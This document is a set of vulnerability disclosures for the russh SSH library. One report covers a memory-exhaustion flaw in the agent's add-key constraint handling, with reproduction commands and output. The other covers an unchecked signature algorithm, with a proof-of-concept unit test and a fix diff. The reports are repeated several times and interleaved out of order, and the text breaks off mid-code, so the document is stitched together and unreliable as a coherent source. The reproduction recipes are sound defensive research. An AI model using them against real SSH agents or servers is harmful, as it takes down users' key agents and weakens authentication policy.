Summary

russh_keys::agent::server::add_key (russh/src/keys/agent/server.rs:271-319) spawns a dedicated tokio task for every 5-byte SSH_AGENT_CONSTRAIN_LIFETIME record attached to an added key, each cloning the key blob and sleeping for the declared lifetime (up to ~136 years). The loop has no per-request task budget, and spawned tasks are not rolled back when the overall request fails. Repeating one constrained add-key message over an agent connection converts wire bytes into resident tasks and heap at roughly 141x amplification: in our measurement 10.2 MiB of protocol traffic produced ~2,096,120 live tasks and +1,447,856 KiB RSS, while the same traffic sent as unconstrained add-key requests cost +268 KiB. An attacker reaching the agent socket (a local process, or a remote SSH server the user connects to with agent forwarding, since russh clients accept the auth-agent@openssh.com channel by default at russh/src/client/mod.rs:2686) can exhaust the agent process's memory and task capacity with a renewable, cheap request stream. Verified on russh HEAD efa9a03 (v0.63.3-10, 2026-10-01).

Details

// russh/src/keys/agent/server.rs:271-319 (add_key, constraint loop)
while let Ok(t) = u8::decode(r) {
 match t {
 SSH_AGENT_CONSTRAIN_LIFETIME => {
 let lifetime = u32::decode(r)?;
 ...
 tokio::spawn({
 let key = key.clone;
 async move { tokio::time::sleep(...lifetime...).await; /* remove key */ }
 });
 }
 ...

Each lifetime record clones the key blob into a new task regardless of how many records the same request already spawned, and a failure later in the request leaves earlier tasks alive. Data flow: agent connection -> SSH_AGENTC_ADD_IDENTITY_CONSTRAINED -> constraint decode loop -> unbounded tokio::spawn per 5 bytes. The control measurement (identical wire volume as unconstrained adds) isolates the constraint path as the amplifier.

Proof of concept

Prerequisites: Linux host with cargo and git. The archive's deploy script provisions russh at the pinned revision and the PoC crate (rewriting the path dependency); the PoC runs a real russh agent server on loopback and speaks the agent protocol to it.

$ POC_HOME=$HOME/russh-poc RUSSH_REPO=/home/ubuntu/HuntTargets/russh ./deployment/deploy.sh
russh at efa9a03 -> /home/ubuntu/russh-poc/poc

$ POC_HOME=$HOME/russh-poc ./poc/poc.sh 40
[*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
[*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
[*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
[*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.
[*] fds = 19

The broker acks every request (code 6 = SUCCESS) while RSS grows to +1.45 GB from ~10 MiB of input. The harness's control mode (same wire volume, unconstrained adds) measured +268 KiB. The automated archive run reproduces exactly this trace.

Manual reproduction, step by step (no archive required)

1. Provision russh at the pinned revision and build the PoC crate (it hosts a real russh agent server in-process):

git clone https://github.com/Eugeny/russh && cd russh && git checkout efa9a03e541b69505d5e6ec0d9213d011c9f6310
cargo build --release   # in the PoC crate directory; the path dependency points at the clone

2. Run the PoC: it starts the agent on loopback, then sends repeated SSH_AGENTC_ADD_IDENTITY_CONSTRAINED messages whose constraint sections contain ~52,000 five-byte SSH_AGENT_CONSTRAIN_LIFETIME records each:

./target/release/poc-agent-addkey 40
# [*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
# [*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
# [*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
# [*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.

3. Control: the same wire volume sent as UNCONSTRAINED add-key requests measures +268 KiB (MODE=control), isolating the constraint-record task spawn as the amplifier.

4. Reachability: any local process with access to the agent socket, or a remote SSH server the user connects to with agent forwarding (russh clients accept auth-agent@openssh.com channels by default, russh/src/client/mod.rs:2686), can drive this. Each spawned task clones the key blob and sleeps for the declared lifetime (up to ~136 years); tasks are never rolled back when a request fails.

Impact

An attacker able to speak the agent protocol to a russh-based agent (local process on the socket, or a remote SSH server the user connects to with agent forwarding enabled) can drive gigabyte-scale memory growth and millions of leaked tasks per session with megabytes of traffic, renewable until the agent process is starved or OOM-killed, taking the user's SSH key agent down. The trust boundary is the agent protocol peer versus the agent process's resources. No confidentiality or integrity impact.

Summary

russh_keys::agent::server::add_key (russh/src/keys/agent/server.rs:271-319) spawns a dedicated tokio task for every 5-byte SSH_AGENT_CONSTRAIN_LIFETIME record attached to an added key, each cloning the key blob and sleeping for the declared lifetime (up to ~136 years). The loop has no per-request task budget, and spawned tasks are not rolled back when the overall request fails. Repeating one constrained add-key message over an agent connection converts wire bytes into resident tasks and heap at roughly 141x amplification: in our measurement 10.2 MiB of protocol traffic produced ~2,096,120 live tasks and +1,447,856 KiB RSS, while the same traffic sent as unconstrained add-key requests cost +268 KiB. An attacker reaching the agent socket (a local process, or a remote SSH server the user connects to with agent forwarding, since russh clients accept the auth-agent@openssh.com channel by default at russh/src/client/mod.rs:2686) can exhaust the agent process's memory and task capacity with a renewable, cheap request stream. Verified on russh HEAD efa9a03 (v0.63.3-10, 2026-10-01).

Details

// russh/src/keys/agent/server.rs:271-319 (add_key, constraint loop)
while let Ok(t) = u8::decode(r) {
 match t {
 SSH_AGENT_CONSTRAIN_LIFETIME => {
 let lifetime = u32::decode(r)?;
 ...
 tokio::spawn({
 let key = key.clone;
 async move { tokio::time::sleep(...lifetime...).await; /* remove key */ }
 });
 }
 ...

Each lifetime record clones the key blob into a new task regardless of how many records the same request already spawned, and a failure later in the request leaves earlier tasks alive. Data flow: agent connection -> SSH_AGENTC_ADD_IDENTITY_CONSTRAINED -> constraint decode loop -> unbounded tokio::spawn per 5 bytes. The control measurement (identical wire volume as unconstrained adds) isolates the constraint path as the amplifier.

Proof of concept

Prerequisites: Linux host with cargo and git. The archive's deploy script provisions russh at the pinned revision and the PoC crate (rewriting the path dependency); the PoC runs a real russh agent server on loopback and speaks the agent protocol to it.

$ POC_HOME=$HOME/russh-poc RUSSH_REPO=/home/ubuntu/HuntTargets/russh ./deployment/deploy.sh
russh at efa9a03 -> /home/ubuntu/russh-poc/poc

$ POC_HOME=$HOME/russh-poc ./poc/poc.sh 40
[*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
[*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
[*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
[*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.
[*] fds = 19

The broker acks every request (code 6 = SUCCESS) while RSS grows to +1.45 GB from ~10 MiB of input. The harness's control mode (same wire volume, unconstrained adds) measured +268 KiB. The automated archive run reproduces exactly this trace.

Manual reproduction, step by step (no archive required)

1. Provision russh at the pinned revision and build the PoC crate (it hosts a real russh agent server in-process):

git clone https://github.com/Eugeny/russh && cd russh && git checkout efa9a03e541b69505d5e6ec0d9213d011c9f6310
cargo build --release   # in the PoC crate directory; the path dependency points at the clone

2. Run the PoC: it starts the agent on loopback, then sends repeated SSH_AGENTC_ADD_IDENTITY_CONSTRAINED messages whose constraint sections contain ~52,000 five-byte SSH_AGENT_CONSTRAIN_LIFETIME records each:

./target/release/poc-agent-addkey 40
# [*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
# [*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
# [*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
# [*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.

3. Control: the same wire volume sent as UNCONSTRAINED add-key requests measures +268 KiB (MODE=control), isolating the constraint-record task spawn as the amplifier.

4. Reachability: any local process with access to the agent socket, or a remote SSH server the user connects to with agent forwarding (russh clients accept auth-agent@openssh.com channels by default, russh/src/client/mod.rs:2686), can drive this. Each spawned task clones the key blob and sleeps for the declared lifetime (up to ~136 years); tasks are never rolled back when a request fails.

Impact

An attacker able to speak the agent protocol to a russh-based agent (local process on the socket, or a remote SSH server the user connects to with agent forwarding enabled) can drive gigabyte-scale memory growth and millions of leaked tasks per session with megabytes of traffic, renewable until the agent process is starved or OOM-killed, taking the user's SSH key agent down. The trust boundary is the agent protocol peer versus the agent process's resources. No confidentiality or integrity impact.

Details

In russh/src/server/encrypted.rs, server_read_auth_request_pk (0.63.3, around lines 880-990):

• The requested algorithm name (pubkey_algo) is read and only used to decode the key: PublicKeyOrCertificate::decode(&pubkey_algo, &pubkey_key). The derived hash_alg is then dropped (PublicKeyOrCertificate::PublicKey { ref key, .. }).
• The signature blob is decoded (Signature::decode) and verified with Verifier::verify(&pubkey, &buf, &sig). ssh-key picks the hash from the signature's own algorithm (sig.algorithm()).
• pubkey_algo and sig.algorithm() are never compared.

So for an RSA key, the request can say rsa-sha2-512 while the signature is ssh-rsa. The signature is valid for SHA-1, verification succeeds, and Handler::auth_publickey is called.

Affected versions: every russh release, from the first (0.34.0-beta.1, 2022-03) through 0.63.3 and current main. The behaviour is inherited from thrussh, which russh was forked from.

The mechanism changed over time, but the outcome is the same: the hash is always taken from the signature blob, never checked against the request.

• Up to 0.46: after reading the algorithm name inside the signature blob, russh overwrites the key's hash with it (pubkey.set_algorithm(algo_)), then verifies.
• From 0.47/0.48 (move to ssh-key): the signature is decoded with its own algorithm (sig_workaround::Sig::decode, later Signature::decode) and verified with it.

Confirmed by running the PoC below on 0.63.3. Confirmed by reading the code of server/encrypted.rs in 0.34.0-beta.1, 0.34.0, 0.36.0, 0.36.1, 0.37.1, 0.40.2, 0.43.0, 0.45.0, 0.46.0, 0.48.2, 0.50.4, 0.54.6, 0.58.1, 0.63.1, 0.63.3 and main (2026-09-30), and in thrussh 0.33.5.

PoC

A unit test in the existing test module of russh/src/server/encrypted.rs. It uses the module's own helpers (test_auth_session, sign_with_hash_alg, PrivateKeyWithHashAlg) and needs no network or configuration.

1. Check out russh 0.63.3, or main.
2. Paste the code below inside mod tests { ... } of russh/src/server/encrypted.rs.
3. Run cargo test --lib poc_sha1.

// ---- PoC: signature algorithm not checked against the requested one ----

/// Records whether `auth_publickey` (called only after the signature
/// verified) was reached.
#[derive(Default)]
struct AcceptAnyKey {
    authenticated: bool,
}

impl Handler for AcceptAnyKey {
    type Error = Error;

    async fn auth_publickey_offered(
        &mut self,
        _user: &str,
        _public_key: &PublicKey,
    ) -> Result<Auth, Self::Error> {
        Ok(Auth::Accept)
    }

    async fn auth_publickey(
        &mut self,
        _user: &str,
        _public_key: &PublicKey,
    ) -> Result<Auth, Self::Error> {
        self.authenticated = true;
        Ok(Auth::Accept)
    }
}

/// A signed publickey request that names `announced` as its public key
/// algorithm, but is signed with `hash` (`None` = `ssh-rsa`, SHA-1).
fn signed_request_announcing(
    user: &str,
    private_key: Arc<PrivateKey>,
    announced: &str,
    hash: Option<crate::keys::HashAlg>,
) -> Vec<u8> {
    let mut packet = Vec::new();
    packet.push(msg::USERAUTH_REQUEST);
    user.encode(&mut packet).unwrap();
    "ssh-connection".encode(&mut packet).unwrap();
    "publickey".encode(&mut packet).unwrap();
    1u8.encode(&mut packet).unwrap();
    announced.encode(&mut packet).unwrap();
    private_key.public_key().to_bytes().unwrap().encode(&mut packet).unwrap();

    let mut signed = Vec::new();
    CryptoVec::new().as_ref().encode(&mut signed).unwrap();
    signed.extend_from_slice(&packet);
    let signature =
        sign_with_hash_alg(&PrivateKeyWithHashAlg::new(private_key, hash), &signed).unwrap();
    signature.encode(&mut packet).unwrap();
    packet
}

#[tokio::test]
async fn poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced() {
    let rsa = ssh_key::private::RsaKeypair::random(&mut rand::rng(), 2048).unwrap();
    let private = Arc::new(PrivateKey::from(rsa));
    let mut session = test_auth_session();
    let mut handler = AcceptAnyKey::default();

    // The request says rsa-sha2-512; the signature blob is ssh-rsa (SHA-1).
    let packet = signed_request_announcing("alice", private, "rsa-sha2-512", None);
    session.process_packet(&mut handler, &packet).await.unwrap();

    // RFC 8332 §3: the signature algorithm must be the requested one, so
    // this request must be rejected. On russh 0.63.3 it is accepted.
    assert!(
        !handler.authenticated,
        "an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512"
    );
}

Result on unmodified 0.63.3:

test server::encrypted::tests::poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced ... FAILED
panicked at src/server/encrypted.rs: an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512

With the fix below, the test passes and the whole library suite still passes: cargo test --lib gives 186 passed.

Suggested fix: reject a mismatch through the existing reject_auth_request(until, ...) path, so the constant rejection time is kept.

--- a/russh/src/server/encrypted.rs
+++ b/russh/src/server/encrypted.rs
@@ -1023,6 +1023,21 @@
                     map_err!(ensure_end(&signature_reader))?;
                     map_err!(ensure_end(r))?;
 
+                    // RFC 8332 §3: the signature must use the algorithm the
+                    // request names.
+                    let offered_algorithm = match pk_or_cert {
+                        PublicKeyOrCertificate::PublicKey { .. } => ssh_key::Algorithm::new(&pubkey_algo),
+                        PublicKeyOrCertificate::Certificate(_) => {
+                            <ssh_key::Algorithm as crate::helpers::AlgorithmExt>::new_certificate_ext(&pubkey_algo)
+                        }
+                    };
+                    if offered_algorithm.ok().as_ref() != Some(&sig.algorithm()) {
+                        debug!("signature algorithm does not match the requested one");
+                        auth_user.clear();
+                        reject_auth_request(until, &mut self.write, auth_request).await?;
+                        return Ok(());
+                    }
+
                     let is_valid = if accepted_probe_matches && user == auth_user {
                         true
                     } else {

Impact

This is a missing check on the signature algorithm (improper verification of a cryptographic signature's algorithm, CWE-347) in the server's publickey authentication.

Who is impacted: applications that use russh as an SSH server and rely on the requested algorithm to restrict, record or audit user-key signature algorithms. For example:

• a server that refuses SHA-1 (ssh-rsa) signatures, as OpenSSH does by default since 8.8;
• a server that logs which algorithm a client authenticated with.

Such a server can be made to accept a SHA-1 signature, or to record rsa-sha2-512 for one, by any holder of a valid RSA key.

Not impacted:

• russh clients;
• authentication strength beyond the choice of hash, since a valid signature by the private key is still required;
• Te RSA keys were examined, the case where one key admits several signature algorithms (ssh-rsa, rsa-sha2-256, rsa-sha2-512). We did not test other key types.

Summary

russh_keys::agent::server::add_key (russh/src/keys/agent/server.rs:271-319) spawns a dedicated tokio task for every 5-byte SSH_AGENT_CONSTRAIN_LIFETIME record attached to an added key, each cloning the key blob and sleeping for the declared lifetime (up to ~136 years). The loop has no per-request task budget, and spawned tasks are not rolled back when the overall request fails. Repeating one constrained add-key message over an agent connection converts wire bytes into resident tasks and heap at roughly 141x amplification: in our measurement 10.2 MiB of protocol traffic produced ~2,096,120 live tasks and +1,447,856 KiB RSS, while the same traffic sent as unconstrained add-key requests cost +268 KiB. An attacker reaching the agent socket (a local process, or a remote SSH server the user connects to with agent forwarding, since russh clients accept the auth-agent@openssh.com channel by default at russh/src/client/mod.rs:2686) can exhaust the agent process's memory and task capacity with a renewable, cheap request stream. Verified on russh HEAD efa9a03 (v0.63.3-10, 2026-10-01).

Details

// russh/src/keys/agent/server.rs:271-319 (add_key, constraint loop)
while let Ok(t) = u8::decode(r) {
 match t {
 SSH_AGENT_CONSTRAIN_LIFETIME => {
 let lifetime = u32::decode(r)?;
 ...
 tokio::spawn({
 let key = key.clone;
 async move { tokio::time::sleep(...lifetime...).await; /* remove key */ }
 });
 }
 ...

Each lifetime record clones the key blob into a new task regardless of how many records the same request already spawned, and a failure later in the request leaves earlier tasks alive. Data flow: agent connection -> SSH_AGENTC_ADD_IDENTITY_CONSTRAINED -> constraint decode loop -> unbounded tokio::spawn per 5 bytes. The control measurement (identical wire volume as unconstrained adds) isolates the constraint path as the amplifier.

Proof of concept

Prerequisites: Linux host with cargo and git. The archive's deploy script provisions russh at the pinned revision and the PoC crate (rewriting the path dependency); the PoC runs a real russh agent server on loopback and speaks the agent protocol to it.

$ POC_HOME=$HOME/russh-poc RUSSH_REPO=/home/ubuntu/HuntTargets/russh ./deployment/deploy.sh
russh at efa9a03 -> /home/ubuntu/russh-poc/poc

$ POC_HOME=$HOME/russh-poc ./poc/poc.sh 40
[*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
[*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
[*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
[*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.
[*] fds = 19

The broker acks every request (code 6 = SUCCESS) while RSS grows to +1.45 GB from ~10 MiB of input. The harness's control mode (same wire volume, unconstrained adds) measured +268 KiB. The automated archive run reproduces exactly this trace.

Manual reproduction, step by step (no archive required)

1. Provision russh at the pinned revision and build the PoC crate (it hosts a real russh agent server in-process):

git clone https://github.com/Eugeny/russh && cd russh && git checkout efa9a03e541b69505d5e6ec0d9213d011c9f6310
cargo build --release   # in the PoC crate directory; the path dependency points at the clone

2. Run the PoC: it starts the agent on loopback, then sends repeated SSH_AGENTC_ADD_IDENTITY_CONSTRAINED messages whose constraint sections contain ~52,000 five-byte SSH_AGENT_CONSTRAIN_LIFETIME records each:

./target/release/poc-agent-addkey 40
# [*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
# [*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
# [*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
# [*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.

3. Control: the same wire volume sent as UNCONSTRAINED add-key requests measures +268 KiB (MODE=control), isolating the constraint-record task spawn as the amplifier.

4. Reachability: any local process with access to the agent socket, or a remote SSH server the user connects to with agent forwarding (russh clients accept auth-agent@openssh.com channels by default, russh/src/client/mod.rs:2686), can drive this. Each spawned task clones the key blob and sleeps for the declared lifetime (up to ~136 years); tasks are never rolled back when a request fails.

Impact

An attacker able to speak the agent protocol to a russh-based agent (local process on the socket, or a remote SSH server the user connects to with agent forwarding enabled) can drive gigabyte-scale memory growth and millions of leaked tasks per session with megabytes of traffic, renewable until the agent process is starved or OOM-killed, taking the user's SSH key agent down. The trust boundary is the agent protocol peer versus the agent process's resources. No confidentiality or integrity impact.

Details

In russh/src/server/encrypted.rs, server_read_auth_request_pk (0.63.3, around lines 880-990):

• The requested algorithm name (pubkey_algo) is read and only used to decode the key: PublicKeyOrCertificate::decode(&pubkey_algo, &pubkey_key). The derived hash_alg is then dropped (PublicKeyOrCertificate::PublicKey { ref key, .. }).
• The signature blob is decoded (Signature::decode) and verified with Verifier::verify(&pubkey, &buf, &sig). ssh-key picks the hash from the signature's own algorithm (sig.algorithm()).
• pubkey_algo and sig.algorithm() are never compared.

So for an RSA key, the request can say rsa-sha2-512 while the signature is ssh-rsa. The signature is valid for SHA-1, verification succeeds, and Handler::auth_publickey is called.

Affected versions: every russh release, from the first (0.34.0-beta.1, 2022-03) through 0.63.3 and current main. The behaviour is inherited from thrussh, which russh was forked from.

The mechanism changed over time, but the outcome is the same: the hash is always taken from the signature blob, never checked against the request.

• Up to 0.46: after reading the algorithm name inside the signature blob, russh overwrites the key's hash with it (pubkey.set_algorithm(algo_)), then verifies.
• From 0.47/0.48 (move to ssh-key): the signature is decoded with its own algorithm (sig_workaround::Sig::decode, later Signature::decode) and verified with it.

Confirmed by running the PoC below on 0.63.3. Confirmed by reading the code of server/encrypted.rs in 0.34.0-beta.1, 0.34.0, 0.36.0, 0.36.1, 0.37.1, 0.40.2, 0.43.0, 0.45.0, 0.46.0, 0.48.2, 0.50.4, 0.54.6, 0.58.1, 0.63.1, 0.63.3 and main (2026-09-30), and in thrussh 0.33.5.

PoC

A unit test in the existing test module of russh/src/server/encrypted.rs. It uses the module's own helpers (test_auth_session, sign_with_hash_alg, PrivateKeyWithHashAlg) and needs no network or configuration.

1. Check out russh 0.63.3, or main.
2. Paste the code below inside mod tests { ... } of russh/src/server/encrypted.rs.
3. Run cargo test --lib poc_sha1.

// ---- PoC: signature algorithm not checked against the requested one ----

/// Records whether `auth_publickey` (called only after the signature
/// verified) was reached.
#[derive(Default)]
struct AcceptAnyKey {
    authenticated: bool,
}

impl Handler for AcceptAnyKey {
    type Error = Error;

    async fn auth_publickey_offered(
        &mut self,
        _user: &str,
        _public_key: &PublicKey,
    ) -> Result<Auth, Self::Error> {
        Ok(Auth::Accept)
    }

    async fn auth_publickey(
        &mut self,
        _user: &str,
        _public_key: &PublicKey,
    ) -> Result<Auth, Self::Error> {
        self.authenticated = true;
        Ok(Auth::Accept)
    }
}

/// A signed publickey request that names `announced` as its public key
/// algorithm, but is signed with `hash` (`None` = `ssh-rsa`, SHA-1).
fn signed_request_announcing(
    user: &str,
    private_key: Arc<PrivateKey>,
    announced: &str,
    hash: Option<crate::keys::HashAlg>,
) -> Vec<u8> {
    let mut packet = Vec::new();
    packet.push(msg::USERAUTH_REQUEST);
    user.encode(&mut packet).unwrap();
    "ssh-connection".encode(&mut packet).unwrap();
    "publickey".encode(&mut packet).unwrap();
    1u8.encode(&mut packet).unwrap();
    announced.encode(&mut packet).unwrap();
    private_key.public_key().to_bytes().unwrap().encode(&mut packet).unwrap();

    let mut signed = Vec::new();
    CryptoVec::new().as_ref().encode(&mut signed).unwrap();
    signed.extend_from_slice(&packet);
    let signature =
        sign_with_hash_alg(&PrivateKeyWithHashAlg::new(private_key, hash), &signed).unwrap();
    signature.encode(&mut packet).unwrap();
    packet
}

#[tokio::test]
async fn poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced() {
    let rsa = ssh_key::private::RsaKeypair::random(&mut rand::rng(), 2048).unwrap();
    let private = Arc::new(PrivateKey::from(rsa));
    let mut session = test_auth_session();
    let mut handler = AcceptAnyKey::default();

    // The request says rsa-sha2-512; the signature blob is ssh-rsa (SHA-1).
    let packet = signed_request_announcing("alice", private, "rsa-sha2-512", None);
    session.process_packet(&mut handler, &packet).await.unwrap();

    // RFC 8332 §3: the signature algorithm must be the requested one, so
    // this request must be rejected. On russh 0.63.3 it is accepted.
    assert!(
        !handler.authenticated,
        "an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512"
    );
}

Result on unmodified 0.63.3:

test server::encrypted::tests::poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced ... FAILED
panicked at src/server/encrypted.rs: an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512

With the fix below, the test passes and the whole library suite still passes: cargo test --lib gives 186 passed.

Suggested fix: reject a mismatch through the existing reject_auth_request(until, ...) path, so the constant rejection time is kept.

--- a/russh/src/server/encrypted.rs
+++ b/russh/src/server/encrypted.rs
@@ -1023,6 +1023,21 @@
                     map_err!(ensure_end(&signature_reader))?;
                     map_err!(ensure_end(r))?;
 
+                    // RFC 8332 §3: the signature must use the algorithm the
+                    // request names.
+                    let offered_algorithm = match pk_or_cert {
+                        PublicKeyOrCertificate::PublicKey { .. } => ssh_key::Algorithm::new(&pubkey_algo),
+                        PublicKeyOrCertificate::Certificate(_) => {
+                            <ssh_key::Algorithm as crate::helpers::AlgorithmExt>::new_certificate_ext(&pubkey_algo)
+                        }
+                    };
+                    if offered_algorithm.ok().as_ref() != Some(&sig.algorithm()) {
+                        debug!("signature algorithm does not match the requested one");
+                        auth_user.clear();
+                        reject_auth_request(until, &mut self.write, auth_request).await?;
+                        return Ok(());
+                    }
+
                     let is_valid = if accepted_probe_matches && user == auth_user {
                         true
                     } else {

Impact

This is a missing check on the signature algorithm (improper verification of a cryptographic signature's algorithm, CWE-347) in the server's publickey authentication.

Who is impacted: applications that use russh as an SSH server and rely on the requested algorithm to restrict, record or audit user-key signature algorithms. For example:

• a server that refuses SHA-1 (ssh-rsa) signatures, as OpenSSH does by default since 8.8;
• a server that logs which algorithm a client authenticated with.

Such a server can be made to accept a SHA-1 signature, or to record rsa-sha2-512 for one, by any holder of a valid RSA key.

Not impacted:

• russh clients;
• authentication strength beyond the choice of hash, since a valid signature by the private key is still required;
• Te RSA keys were examined, the case where one key admits several signature algorithms (ssh-rsa, rsa-sha2-256, rsa-sha2-512). We did not test other key types.

Summary

russh_keys::agent::server::add_key (russh/src/keys/agent/server.rs:271-319) spawns a dedicated tokio task for every 5-byte SSH_AGENT_CONSTRAIN_LIFETIME record attached to an added key, each cloning the key blob and sleeping for the declared lifetime (up to ~136 years). The loop has no per-request task budget, and spawned tasks are not rolled back when the overall request fails. Repeating one constrained add-key message over an agent connection converts wire bytes into resident tasks and heap at roughly 141x amplification: in our measurement 10.2 MiB of protocol traffic produced ~2,096,120 live tasks and +1,447,856 KiB RSS, while the same traffic sent as unconstrained add-key requests cost +268 KiB. An attacker reaching the agent socket (a local process, or a remote SSH server the user connects to with agent forwarding, since russh clients accept the auth-agent@openssh.com channel by default at russh/src/client/mod.rs:2686) can exhaust the agent process's memory and task capacity with a renewable, cheap request stream. Verified on russh HEAD efa9a03 (v0.63.3-10, 2026-10-01).

Details

// russh/src/keys/agent/server.rs:271-319 (add_key, constraint loop)
while let Ok(t) = u8::decode(r) {
 match t {
 SSH_AGENT_CONSTRAIN_LIFETIME => {
 let lifetime = u32::decode(r)?;
 ...
 tokio::spawn({
 let key = key.clone;
 async move { tokio::time::sleep(...lifetime...).await; /* remove key */ }
 });
 }
 ...

Each lifetime record clones the key blob into a new task regardless of how many records the same request already spawned, and a failure later in the request leaves earlier tasks alive. Data flow: agent connection -> SSH_AGENTC_ADD_IDENTITY_CONSTRAINED -> constraint decode loop -> unbounded tokio::spawn per 5 bytes. The control measurement (identical wire volume as unconstrained adds) isolates the constraint path as the amplifier.

Proof of concept

Prerequisites: Linux host with cargo and git. The archive's deploy script provisions russh at the pinned revision and the PoC crate (rewriting the path dependency); the PoC runs a real russh agent server on loopback and speaks the agent protocol to it.

$ POC_HOME=$HOME/russh-poc RUSSH_REPO=/home/ubuntu/HuntTargets/russh ./deployment/deploy.sh
russh at efa9a03 -> /home/ubuntu/russh-poc/poc

$ POC_HOME=$HOME/russh-poc ./poc/poc.sh 40
[*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
[*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
[*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
[*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.
[*] fds = 19

The broker acks every request (code 6 = SUCCESS) while RSS grows to +1.45 GB from ~10 MiB of input. The harness's control mode (same wire volume, unconstrained adds) measured +268 KiB. The automated archive run reproduces exactly this trace.

Manual reproduction, step by step (no archive required)

1. Provision russh at the pinned revision and build the PoC crate (it hosts a real russh agent server in-process):

git clone https://github.com/Eugeny/russh && cd russh && git checkout efa9a03e541b69505d5e6ec0d9213d011c9f6310
cargo build --release   # in the PoC crate directory; the path dependency points at the clone

2. Run the PoC: it starts the agent on loopback, then sends repeated SSH_AGENTC_ADD_IDENTITY_CONSTRAINED messages whose constraint sections contain ~52,000 five-byte SSH_AGENT_CONSTRAIN_LIFETIME records each:

./target/release/poc-agent-addkey 40
# [*] round 29: reply code=6 RSS=1090272 KiB (delta +1087580 KiB)
# [*] round 39: reply code=6 RSS=1450548 KiB (delta +1447856 KiB)
# [*] final RSS = 1450548 KiB (delta +1447856 KiB, x141 amplification by wire bytes)
# [*] ~2096120 tasks now sleep for ~136 years holding their blob + timer.

3. Control: the same wire volume sent as UNCONSTRAINED add-key requests measures +268 KiB (MODE=control), isolating the constraint-record task spawn as the amplifier.

4. Reachability: any local process with access to the agent socket, or a remote SSH server the user connects to with agent forwarding (russh clients accept auth-agent@openssh.com channels by default, russh/src/client/mod.rs:2686), can drive this. Each spawned task clones the key blob and sleeps for the declared lifetime (up to ~136 years); tasks are never rolled back when a request fails.

Impact

An attacker able to speak the agent protocol to a russh-based agent (local process on the socket, or a remote SSH server the user connects to with agent forwarding enabled) can drive gigabyte-scale memory growth and millions of leaked tasks per session with megabytes of traffic, renewable until the agent process is starved or OOM-killed, taking the user's SSH key agent down. The trust boundary is the agent protocol peer versus the agent process's resources. No confidentiality or integrity impact.

Details

In russh/src/server/encrypted.rs, server_read_auth_request_pk (0.63.3, around lines 880-990):

• The requested algorithm name (pubkey_algo) is read and only used to decode the key: PublicKeyOrCertificate::decode(&pubkey_algo, &pubkey_key). The derived hash_alg is then dropped (PublicKeyOrCertificate::PublicKey { ref key, .. }).
• The signature blob is decoded (Signature::decode) and verified with Verifier::verify(&pubkey, &buf, &sig). ssh-key picks the hash from the signature's own algorithm (sig.algorithm()).
• pubkey_algo and sig.algorithm() are never compared.

So for an RSA key, the request can say rsa-sha2-512 while the signature is ssh-rsa. The signature is valid for SHA-1, verification succeeds, and Handler::auth_publickey is called.

Affected versions: every russh release, from the first (0.34.0-beta.1, 2022-03) through 0.63.3 and current main. The behaviour is inherited from thrussh, which russh was forked from.

The mechanism changed over time, but the outcome is the same: the hash is always taken from the signature blob, never checked against the request.

• Up to 0.46: after reading the algorithm name inside the signature blob, russh overwrites the key's hash with it (pubkey.set_algorithm(algo_)), then verifies.
• From 0.47/0.48 (move to ssh-key): the signature is decoded with its own algorithm (sig_workaround::Sig::decode, later Signature::decode) and verified with it.

Confirmed by running the PoC below on 0.63.3. Confirmed by reading the code of server/encrypted.rs in 0.34.0-beta.1, 0.34.0, 0.36.0, 0.36.1, 0.37.1, 0.40.2, 0.43.0, 0.45.0, 0.46.0, 0.48.2, 0.50.4, 0.54.6, 0.58.1, 0.63.1, 0.63.3 and main (2026-09-30), and in thrussh 0.33.5.

PoC

A unit test in the existing test module of russh/src/server/encrypted.rs. It uses the module's own helpers (test_auth_session, sign_with_hash_alg, PrivateKeyWithHashAlg) and needs no network or configuration.

1. Check out russh 0.63.3, or main.
2. Paste the code below inside mod tests { ... } of russh/src/server/encrypted.rs.
3. Run cargo test --lib poc_sha1.

// ---- PoC: signature algorithm not checked against the requested one ----

/// Records whether `auth_publickey` (called only after the signature
/// verified) was reached.
#[derive(Default)]
struct AcceptAnyKey {
    authenticated: bool,
}

impl Handler for AcceptAnyKey {
    type Error = Error;

    async fn auth_publickey_offered(
        &mut self,
        _user: &str,
        _public_key: &PublicKey,
    ) -> Result<Auth, Self::Error> {
        Ok(Auth::Accept)
    }

    async fn auth_publickey(
        &mut self,
